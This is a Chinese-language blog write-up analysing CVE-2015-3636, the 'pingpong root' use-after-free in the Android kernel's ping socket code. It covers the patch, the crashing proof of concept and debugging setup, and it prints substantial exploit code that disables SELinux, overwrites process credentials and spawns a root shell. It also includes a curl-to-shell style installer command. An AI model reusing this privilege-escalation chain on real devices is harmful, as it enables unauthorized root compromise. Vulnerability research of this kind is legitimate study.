CVE-2015-3636(pingpong root) android内核 UAF漏洞分析
前言
去年差不多這個時候就計劃把這個漏洞給分析了,由于android沒有經常搞,所以踩了很多坑,中間一度因為各種原因停滯放棄,最近遇到一個事情讓我下定決心把它了結,也算是解決一個心病。過程會寫詳細一點,給和我一樣的初學朋友提供點幫助。這個漏洞keen在blackhat上講過[8],是一個很經典的android內核漏洞,也是第一個64bit root,還是很有學習價值的。分析android內核的漏洞需要自己下載android源代碼和內核源代碼,reverse patch,編譯調試。吾愛破解有個比賽就是寫這個漏洞的exploit,并且還提供了相應的環境[3],所以我偷了個懶,直接拿過來用就行了。exploit我在github上也直接找了一份現成的[11],經我測試可用。
漏洞原理
其實很多文章都對漏洞原理描述很清楚了,為了文章完整性我再贅述一下。補丁[12]是在net/ipv4/ping.c的ping_unhash中加了一句sk_nulls_node_init(&sk->sk_nulls_node)。
這行代碼其實就是把node->pprev設置成了NULL。
?
| 1 2 3 4 | static?__inline__?void?sk_nulls_node_init(struct?hlist_nulls_node?*node) { ????node->pprev?=?NULL; } |
?
我們再看看keen給的POC。
?
| 1 2 3 4 5 6 | int?sockfd?=?socket(AF_INET,?SOCK_DGRAM,?IPPROTO_ICMP); struct?sockaddr?addr?=?{?.sa_family?=?AF_INET?}; int?ret?=?connect(sockfd,?&addr,?sizeof(addr)); struct?sockaddr?_addr?=?{?.sa_family?=?AF_UNSPEC?}; ret?=?connect(sockfd,?&_addr,?sizeof(_addr)); ret?=?connect(sockfd,?&_addr,?sizeof(_addr)); |
?
把內核源代碼下載下來看看。
?
| 1 2 | git?clone?https://aosp.tuna.tsinghua.edu.cn/kernel/common.git git?checkout?remotes/origin/android-3.4?-b?android-3.4 |
?
當調用socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)創建socket再調用connect時,在內核中調用到了inet_dgram_connect。
?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | int?inet_dgram_connect(struct?socket?*sock,?struct?sockaddr?*?uaddr, ???????????????int?addr_len,?int?flags) { ????struct?sock?*sk?=?sock->sk; ? ????if?(addr_len?<?sizeof(uaddr->sa_family)) ????????return?-EINVAL; ????if?(uaddr->sa_family?==?AF_UNSPEC) ????????return?sk->sk_prot->disconnect(sk,?flags); ? ????if?(!inet_sk(sk)->inet_num?&&?inet_autobind(sk)) ????????return?-EAGAIN; ????return?sk->sk_prot->connect(sk,?(struct?sockaddr?*)uaddr,?addr_len); } EXPORT_SYMBOL(inet_dgram_connect); |
?
如果sa_family == AF_UNSPEC會根據協議類型調用相應的disconnect routine,對于PROTO_ICMP來說是udp_disconnect。
?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | int?udp_disconnect(struct?sock?*sk,?int?flags) { ????struct?inet_sock?*inet?=?inet_sk(sk); ????/* ?????* 1003.1g?-?break?association. ?????*/ ? ????sk->sk_state?=?TCP_CLOSE; ????inet->inet_daddr?=?0; ????inet->inet_dport?=?0; ????sock_rps_reset_rxhash(sk); ????sk->sk_bound_dev_if?=?0; ????if?(!(sk->sk_userlocks?&?SOCK_BINDADDR_LOCK)) ????????inet_reset_saddr(sk); ? ????if?(!(sk->sk_userlocks?&?SOCK_BINDPORT_LOCK))?{ ????????sk->sk_prot->unhash(sk); ????????inet->inet_sport?=?0; ????} ????sk_dst_reset(sk); ????return?0; } EXPORT_SYMBOL(udp_disconnect); |
最終會調用到ping_unhash。
?
?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | void?ping_unhash(struct?sock?*sk) { ????struct?inet_sock?*isk?=?inet_sk(sk); ????pr_debug("ping_unhash(isk=%p,isk->num=%u)\n",?isk,?isk->inet_num); ????if?(sk_hashed(sk))?{ ????????write_lock_bh(&ping_table.lock); ????????hlist_nulls_del(&sk->sk_nulls_node); ????????sk_nulls_node_init(&sk->sk_nulls_node); ????????sock_put(sk); ????????isk->inet_num?=?0; ????????isk->inet_sport?=?0; ????????sock_prot_inuse_add(sock_net(sk),?sk->sk_prot,?-1); ????????write_unlock_bh(&ping_table.lock); ????} } EXPORT_SYMBOL_GPL(ping_unhash); |
如果sk_hashed條件成立則會調用hlist_nulls_del在一個雙向鏈表hlist中刪除sk_nulls_node。
?
?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | static?inline?void?__hlist_nulls_del(struct?hlist_nulls_node?*n) { ?????????struct?hlist_nulls_node?*next?=?n->next; ?????????struct?hlist_nulls_node?**pprev?=?n->pprev; ?????????*pprev?=?next; ?????????if?(!is_a_nulls(next)) ???????????????????next->pprev?=?pprev; } ? static?inline?void?hlist_nulls_del(struct?hlist_nulls_node?*n) { ?????????__hlist_nulls_del(n); ?????????n->pprev?=?LIST_POISON2; } |
當n也就是sk_nulls_node被刪除之后n->pprev被設置為LIST_POISON2,它的值是固定的0x200200。我們看一下第二次connect的時候sk_hashed條件是否成立。
?
?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | static?inline?int?sk_unhashed(const?struct?sock?*sk) { ?????????return?hlist_unhashed(&sk->sk_node); } ? static?inline?int?sk_hashed(const?struct?sock?*sk) { ?????????return?!sk_unhashed(sk); } ? static?inline?int?hlist_unhashed(const?struct?hlist_node?*h) { ?????????return?!h->pprev; } |
?
這里注意sk_node和sk_nulls_node共用了一個union,兩者的定義也十分類似,似乎有一點類型混淆的感覺。
?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #define?sk_node??????????? __sk_common.skc_node #define?sk_nulls_node????? __sk_common.skc_nulls_node ? ????union?{ ????????struct?hlist_node? skc_node; ????????struct?hlist_nulls_node?skc_nulls_node; ????}; ? struct?hlist_node?{ ????struct?hlist_node?*next,?**pprev; }; ? struct?hlist_nulls_node?{ ????struct?hlist_nulls_node?*next,?**pprev; }; |
所以雖然設置的是sk_nulls_node->pprev判斷的是sk_node->pprev但是實際上是一個東西,sk_hashed條件成立,再次刪除已經刪除的對象,執行*pprev = next時pprev已經是0x200200了,如果這個地址沒有映射到用戶態就會kernel panic。poc中第一次AF_INET的connect是為了將sk加入hlist中。下面就是poc的效果。
?
這里Unable to handle kernel paging request at virtual address的地址是0x1360而不是0x200200,可能出題的人在這里修改了一下。我們在IDA里面看看。如果采取自己編譯調試的方式是可以加載vmlinux符號文件的,這里我們就只能自己從機器上得到函數地址和名稱然后加載到IDA中了。把Image拖到IDA64中,Process type選擇ARM Little-endian [ARM]。
把ROM start address和Loading address設置為0xFFFFFFC000080000(32位系統就是0xC0008000)。Android 8.0中才為4.4及以后的內核引入了KASLR,很顯然我們這里沒有KASLR,這個值是固定的。
選擇64-bit code。
這個時候IDA是什么也識別不出來的,因為Image文件并不是一個ELF,用binwalk看一下就會發現其實它組成還挺復雜的。我們接下來從運行的虛擬機中導出內核函數名稱和地址。在ubuntu這樣的發行版和android內核中有Kernel Address Display Restriction,所以先把它關掉。
?
| 1 2 3 | sh?-c?"?echo?0?>?/proc/sys/kernel/kptr_restrict" cat?/proc/kallsyms?>?/data/local/tmp/1.txt adb?pull?/data/local/tmp/1.txt |
?
寫一個簡單的腳本把這些函數名加載到IDA里面。
?
| 1 2 3 4 5 6 7 8 9 | ksyms?=?open("D:\\1.txt") for?line?in?ksyms: ????addr?=?int(line[0:16],16) ????name?=?line[19:].replace('_','') ????name?=?line[19:].replace('\n','') ????idc.MakeCode(addr) ????idc.MakeFunction(addr) ????idc.MakeName(addr,name) ????Message("%08X:%s"%(addr,name)) |
?
出來的函數列表里面只有ping_hash沒有ping_unhash,我們把ping_hash的End address改成0xFFFFFFC000409614再在0xFFFFFFC000409614處create function處理一下就可以了。
我們可以看到crash處0xFFFFFFC000409644和前后的代碼。
?
| 1 2 3 | ROM:FFFFFFC00040963C?????????????????LDR?????????????X1,?[X19,#0x38] ROM:FFFFFFC000409640?????????????????LDR?????????????X0,?[X19,#0x30] ROM:FFFFFFC000409644?????????????????STR?????????????X0,?[X1] |
?
這三行代碼對應源代碼中的下面這三行。
?
| 1 2 3 | struct?hlist_nulls_node?*next?=?n->next; struct?hlist_nulls_node?**pprev?=?n->pprev; *pprev?=?next; |
?
所以進一步確認了漏洞成因和我們前面所分析的一樣。如何讓IDA分析Image講的有點多了,主要參考了[1]和[4]。接下來還是回到正題,既然說這是一個UAF漏洞那么哪里UAF了呢?在hlist_nulls_del之后還有一個sock_put。
?
| 1 2 3 4 5 6 | /*?Ungrab?socket?and?destroy?it,?if?it?was?the?last?reference.?*/ static?inline?void?sock_put(struct?sock?*sk) { ????if?(atomic_dec_and_test(&sk->sk_refcnt)) ????????sk_free(sk); } |
?
sock_put將sk的引用計數減1,并且判斷其值是否為0,如果為0的話就free掉sk。可以想到最后一次connect進入本不該進入的if分支之后如果我們提前mmap了0x200200(這里是0x1360)就不會崩潰,接下來進入sock_put,引用計數變成0,sk被free掉,但是文件描述符還在用戶空間,這就造成了UAF。
調試過程
我們可以先測一下這個EXP。不過要注意的是必須用adb shell過去然后su shell才能繼承root的權限得到建立socket的權限。測試發現這個EXP確實是可用的,下面就開始調試。
我調試時的命令如下。
?
| 1 | ./qemu-system-aarch64?-cpu?cortex-a57?-machine?type=ranchu?-m?1024?-append?'console=ttyAMA0,38400?keep_bootcon?earlyprintk=ttyAMA0'?-serial?mon:stdio?-kernel?Image?-initrd?/home/hjy/Desktop/android-problem-env/ramdisk.img?-drive?index=0,id=sdcard,file=/home/hjy/Desktop/android-problem-env/system.img?-device?virtio-blk-device,drive=sdcard?-drive?index=1,id=userdata,file=/home/hjy/Desktop/android-problem-env/.//userdata.img?-device?virtio-blk-device,drive=userdata?-drive?index=2,id=cache,file=/home/hjy/Desktop/android-problem-env/cache.img?-device?virtio-blk-device,drive=cache?-drive?index=3,id=system,file=/home/hjy/Desktop/android-problem-env/system.img?-device?virtio-blk-device,drive=system?-netdev?user,id=mynet?-device?virtio-net-device,netdev=mynet?-show-cursor?-nographic?-L?lib/pc-bios?-gdb?tcp::1234,ipv4?–S |
這里又有一個很坑的地方,用NDK里面的gdb去調試會報Remote 'g' packet reply is too long,需要我們自己修改gdb源代碼并且編譯[9]。
?
?
| 1 | git?clone?https://android.googlesource.com/toolchain/gdb.git |
?
下載下來發現有gdb-7.11和gdb-8.0.1兩個文件夾,由于pwndbg和GEF等插件目前好像還不支持gdb 8.x,所以我們選擇gdb-7.11。找到gdb-7.11/gdb目錄下的remote.c文件,注釋掉這兩行。
?
| 1 2 | ??if?(buf_len?>?2?*?rsa->sizeof_g_packet) ?????error?(_(“Remote?‘g’?packet?reply?is?too?long:?%s”),?rs->buf); |
?
在后面加上下面這幾行。
?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | ??if?(buf_len?>?2?*?rsa->sizeof_g_packet)? ???{ ??????rsa->sizeof_g_packet?=?buf_len?; ??????for?(i?=?0;?i?<?gdbarch_num_regs?(gdbarch);?i++) ??????{ ?????????if?(rsa->regs[i].pnum?==?-1) ?????????continue; ? ?????????if?(rsa->regs[i].offset?>=?rsa->sizeof_g_packet) ?????????rsa->regs[i].in_g_packet?=?0; ?????????else ?????????rsa->regs[i].in_g_packet?=?1; ??????} ???} |
?
編譯安裝。
?
| 1 2 3 | ./configure?--target=aarch64-linux-androideabi?--prefix=/home/hjy/Desktop/gdb_build/gdb/gdb-7.11/arm-linux make make?install |
安裝GEF,因為很多人說pwndbg比較卡而GEF不卡。
?
?
| 1 | wget?-q?-O-?https://github.com/hugsy/gef/raw/master/scripts/gef.sh?|?sh |
?
終于開始調試了,不過還有一個小坑,我們應該用gef-remote -q localhost:1234也就是加上-q參數不然會報錯,原因在這里[7]。接下來進入漏洞利用的部分。我們可以看到在main函數中整個漏洞觸發漏洞的過程和POC中一樣。
?
| 1 2 3 4 5 6 | vultrig_socks[i]?=?socket(AF_INET,?SOCK_DGRAM,?IPPROTO_ICMP); ret?=?connect(vultrig_socks[i],?&addr1,?sizeof(addr1)); system("echo?4096?>?/proc/sys/vm/mmap_min_addr"); void*?user_mm?=?mmap(PAGE_SIZE,?MAX_NULLMAP_SIZE,?PROT_READ|PROT_WRITE|PROT_EXEC,?MAP_PRIVATE|?MAP_FIXED?|MAP_ANONYMOUS,?-1,?0); ret?=?connect(vultrig_socks[i],?&addr2,?sizeof(addr2)); ret?=?connect(vultrig_socks[i],?&addr2,?sizeof(addr2)); |
修改mmap_min_addr并mmap就是為了避免崩潰這樣才能執行到sock_put的邏輯。接下來的操作叫做physmap spray,大家如果對CVE-2014-3153(towelroot)還有印象的話,會記得它是通過sendmmsg修改內核數據的,keen在文章中解釋了,通過sendmmsg完成堆噴的條件是存在漏洞的對象大小必須和SLAB分配器通常使用的大小一致。而在一些android設備上,PING sock對象的大小是576,不是期望的512或者1024。這樣就很難對齊,利用會很不穩定,所以采用的是physmap spray的方法。
?
在內核中physmap在一個相對較高的地址,而SLAB通常在一個相對較低的地址,通過噴射其它的內核對象使得SLAB分配器在相對高的地址分配PING sock對象造成physmap和SLAB重疊,這個過程叫做lifting。這里的“其它的內核對象”直接用PING sock對象其實就可以。
然后釋放掉用來做lifting的PING sock對象,和physmap重疊的那一部分則留做觸發漏洞。那么怎樣才能知道什么時候PING sock對象已經被physmap中的數據填充了可以停止噴射以及怎樣找到已經被填充的PING sock對象呢?在physmap spray中進行了大量的mmap操作,并且將mapped_page+0x1D8處賦值為MAGIC_VALUE+physmap_spray_pages_count,接下來search_exploitable_socket的時候用ioctl一個一個去試。
?
| 1 | ioctl(exp_sock,?SIOCGSTAMPNS,?&time); |
?
這里的time是timespec結構體,會調用到sock_get_timestampns。
?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | int?sock_get_timestampns(struct?sock?*sk,?struct?timespec?__user?*userstamp) { ????struct?timespec?ts; ????if?(!sock_flag(sk,?SOCK_TIMESTAMP)) ????????sock_enable_timestamp(sk,?SOCK_TIMESTAMP); ????ts?=?ktime_to_timespec(sk->sk_stamp); ????if?(ts.tv_sec?==?-1) ????????return?-ENOENT; ????if?(ts.tv_sec?==?0)?{ ????????sk->sk_stamp?=?ktime_get_real(); ????????ts?=?ktime_to_timespec(sk->sk_stamp); ????} ????return?copy_to_user(userstamp,?&ts,?sizeof(ts))???-EFAULT?:?0; } EXPORT_SYMBOL(sock_get_timestampns); |
?
這個函數會返回sk->sk_stamp,在我們的環境中它在sock對象中的偏移正是0x1D8。
找到exp_sock之后因為它已經完全在我們的控制之中了,所以函數指針也是可控的,對其調用close函數就可以控制PC了??梢钥吹絚lose是在inet_close中調用的。
?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | int?inet_release(struct?socket?*sock) { ????struct?sock?*sk?=?sock->sk; ? ????if?(sk)?{ ????????long?timeout; ? ????????sock_rps_reset_flow(sk); ? ????????/*?Applications?forget?to?leave?groups?before?exiting?*/ ????????ip_mc_drop_socket(sk); ? ????????/*?If?linger?is?set,?we?don't?return?until?the?close ?????????*?is?complete.??Otherwise?we?return?immediately.?The ?????????*?actually?closing?is?done?the?same?either?way. ?????????* ?????????*?If?the?close?is?due?to?the?process?exiting,?we?never ?????????*?linger.. ?????????*/ ????????timeout?=?0; ????????if?(sock_flag(sk,?SOCK_LINGER)?&& ????????????!(current->flags?&?PF_EXITING)) ????????????timeout?=?sk->sk_lingertime; ????????sock->sk?=?NULL; ????????sk->sk_prot->close(sk,?timeout); ????} ????return?0; } EXPORT_SYMBOL(inet_release); |
?
找一下發現偏移是0x28,所以我們將payload+0x28設置為payload的地址,將payload開頭設置為0xFFFFFFC00035D788讓它跳到kernel_setsockopt。
?
| 1 2 3 4 | ???*(unsigned?long?*)((char?*)payload?+?0x28)??=?(unsigned?long)payload; ???*(unsigned?long?*)((char?*)payload)?????????=?(unsigned?long)0xFFFFFFC00035D788; ???*(unsigned?long?*)((char?*)payload?+?0x68)??=?(unsigned?long)0xFFFFFFC00035D7C0; ???close(exp_sock); |
?
addr_limit規定了特定線程的用戶空間地址最大值,超過這個值的地址用戶空間代碼不能訪問。所以把addr_limit改成0xffffffff就可以對內核為所欲為了?,F在我們已經來到了kernel_setsockopt,應該怎么改addr_limit呢?當內核需要去使用系統調用的時候就要去掉地址空間的限制,一般的流程是(1)oldfs=get_fs(),(2)set_fs(KERNEL_DS),(3)set_fs(oldfs),如果能繞過set_fs(oldfs)的執行,內核空間將一直對用戶態打開,這樣就繞過了限制。
?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | int?kernel_setsockopt(struct?socket?*sock,?int?level,?int?optname, ????????????char?*optval,?unsigned?int?optlen) { ????mm_segment_t?oldfs?=?get_fs(); ????char?__user?*uoptval; ????int?err; ? ????uoptval?=?(char?__user?__force?*)?optval; ? ????set_fs(KERNEL_DS); ????if?(level?==?SOL_SOCKET) ????????err?=?sock_setsockopt(sock,?level,?optname,?uoptval,?optlen); ????else ????????err?=?sock->ops->setsockopt(sock,?level,?optname,?uoptval, ????????????????????????optlen); ????set_fs(oldfs); ????return?err; } EXPORT_SYMBOL(kernel_setsockopt); ? #define?set_fs(x)? (current_thread_info()->addr_limit?=?(x)) |
?
注意這里因為我們控制了X0所以BLR ?X5跳過了STR ?X20, [X19,#8]。
截一張mosec2016上360冰刃實驗室講的《Android Root利用技術漫談:繞過PXN》[5]中的一張圖幫助理解。
現在可以任意讀寫內核了,下一步是修改全局mmap_min_addr讓我們能夠在用戶態mmap null地址。
?
| 1 2 3 4 5 6 7 8 9 10 11 | ???/* ??????overwrite?the?global?variable?mmap_min_addr?to?0,?then?we?can?mmap?NULL?in?user-mode? ???*/ ???data8?=?0;? ???kernel_write8((void?*)0xffffffc000652148,?&data8); ???user_mm?=?mmap(NULL,?PAGE_SIZE,?PROT_READ|PROT_WRITE|PROT_EXEC,?MAP_PRIVATE|?MAP_FIXED?|MAP_ANONYMOUS,?-1,?0); ???if(MAP_FAILED?==?user_mm) ???{ ??????perror("[*]?mmap?NULL?fail"); ??????return?-1; ???} |
?
這個地址應該怎么找呢,注意到setup_arg_pages中有mmap_min_addr。
0xFFFFFFC00063EE9F+0x132A9=0xFFFFFFC000652148,就是這么來的。接下來關掉selinux,方法同上。
?
| 1 2 3 4 5 6 | ???/* ??????overwirte?selinux_enforcing?to?disable?selinux ???*/ ???data4?=?0; ???kernel_write4((void?*)0xffffffc00065399c,?&data4); ???printf("[*]?selinux?disabled.\n"); |
?
在arm64系統上棧的最大深度為16K,所以unsigned long thread_info_addr=sp&0xFFFFFFFFFFFFC000。task結構體的偏移是0x10,我們再次調用close,通過下面這段gadget把task結構體的指針leak到0x0000000000000018(X1是0)。
?
| 1 2 3 4 | ???*(unsigned?long?*)((char?*)payload?+?0x290)?=?0; ???*(unsigned?long?*)((char?*)payload?+?0x28)??=?(unsigned?long)payload; ???*(unsigned?long?*)((char?*)payload)?????????=?(unsigned?long)0xFFFFFFC0004AA518; ???close(exp_sock); |
?
接下來改掉task_struct->cred,整個提權過程就完成了。
?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | ???????/* ??????????overwrite?task_struct->cred?to?gain?root?privilege ???????*/ ???????task?=?NULL; ???????task?=?(void?*)*(unsigned?long?*)((char?*)user_mm?+?0x18); ???????printf("[*]?task:%p\n",?task);? ? ???????cred?=?NULL; ???????kernel_read8((char?*)task?+?0x398,?&cred); ???????printf("[*]?cred:%p\n",?cred); ? ???????data4?=?0; ???????kernel_write4((char?*)cred?+??4,??&data4); ???????kernel_write4((char?*)cred?+??8,??&data4); ???????kernel_write4((char?*)cred?+?12,??&data4); ???????kernel_write4((char?*)cred?+?16,??&data4); ???????kernel_write4((char?*)cred?+?20,??&data4); ???????kernel_write4((char?*)cred?+?24,??&data4); ???????kernel_write4((char?*)cred?+?28,??&data4); ???????kernel_write4((char?*)cred?+?32,??&data4); ? ???????/* ??????????cleanup?to?avoid?crash.?overwirte?task_struct->files->fdt->max_fds?to?0 ???????*/ ? ???????kernel_read8((char?*)task?+?0x788,?&files); ???????printf("[*]?files:%p\n",?files); ? ???????kernel_read8((char?*)files?+?8,?&fdt); ???????printf("[*]?fdt:%p\n",?fdt); ? ???????data4?=?0; ???????kernel_write4(fdt,?&data4); ? ? ??????if(getuid()?==?0) ??????{ ??????????printf("[*]?congrats,?enjoy?your?root?shell.\n"); ??????????system("/system/bin/sh"); ??????} ??????else ??????{ ????????printf("[*]?Oops,?you'd?better?have?a?cup?of?tea?and?try?again:(\n"); ??????} ??? ? ? ????return?0; |
?
希望我已經說清楚了所有涉及這個漏洞的知識,讀者能有所收獲。
參考資料
1.逆向ARM64內核zImage
2.Android Interals – Part?4?
3.吾愛破解2016安全挑戰賽?
4.從Android設備中提取內核和逆向分析?
5.Android Root利用技術漫談:繞過PXN?
6.ret2dir: Deconstructing Kernel Isolation?
?
7.https://github.com/hugsy/gef/issues/124
8.Own your Android! Yet Another Universal Root?
?
9.重新編譯arm-linux-androideabi-gdb和gdbserver
10.https://www.kernel.org/doc/htmldocs/networking/API-struct-sock.html?
11.https://github.com/4B5F5F4B/Exploits/tree/master/Linux/CVE-2015-3636?
?
?
12.https://github.com/torvalds/linux/commit/a134f083e79fb4c3d0a925691e732c56911b4326?diff=split
?
?
?
?
?
https://bbs.pediy.com/thread-230298.htm
總結
以上是生活随笔為你收集整理的CVE-2015-3636(pingpong root) android内核 UAF漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 进阶Frida--Android逆向之动
- 下一篇: VirtualApp技术黑产利用研究报告